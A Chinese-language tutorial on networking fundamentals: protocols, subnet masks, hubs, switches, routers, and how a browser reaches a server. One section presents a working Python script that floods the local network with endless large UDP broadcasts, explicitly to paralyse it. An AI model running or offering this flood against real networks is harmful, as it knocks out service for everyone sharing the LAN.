Python网络通信基础:协议、设备与浏览器访问流程详解
本文详细解析Python网络通信核心概念,涵盖ICMP协议、IP地址与子网掩码的二进制按位与运算规则,以及集线器、交换机和路由器的工作原理。通过Python代码示例展示UDP广播实现局域网通信的方法,并深入剖析浏览器访问服务器时DNS解析、TCP三次握手、HTTP请求及四次挥手的完整过程,帮助读者理解网络数据包在传输中IP与MAC地址的变化规律。
常用的网络协议

ICMP协议,全称为Internet Control Message Protocol,即网络控制协议,主要用于在IP主机、路由器之间传递控制消息。
数据传输过程

两台电脑通信
网络传输的本质是数据的信号传递,而非电流的直接传输。

IP地址网络号与主机号的确定规则
通过IP地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的部分即为网络号,为0的部分则是主机号。

最开始集线器解决多台电脑通信
但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

使用交换机进行网络通信
单播写对方的mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF。
使用udp协议实现内网瘫痪
先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪。
import socket # 导入socket
def main():
try:
# 1、创建socket套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 这里是指定UDP协议
# 2、指定地址
data_address = ("192.168.255.255", 64300)
# 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
# 这个端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、发送数据
while True:
send_data = "1" * 57175
# 这里发送的数据可以随意点
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
# 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址
except Exception as result:
print("未知错误" + str(result))
if __name__ == '__main__':
main()
使用路由器连接多个网络
路由器的作用:连接两个以上的网络为一个大网络。
网关:具有转发数据能力的设备。
当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器。


数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化。
浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名。
(2)向http服务器发送3次握手。
(3)握手成功后,向http服务器发送Http格式的请求数据。
(4)所有请求完毕后,向http服务器发送4次挥手。
网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化。
总结
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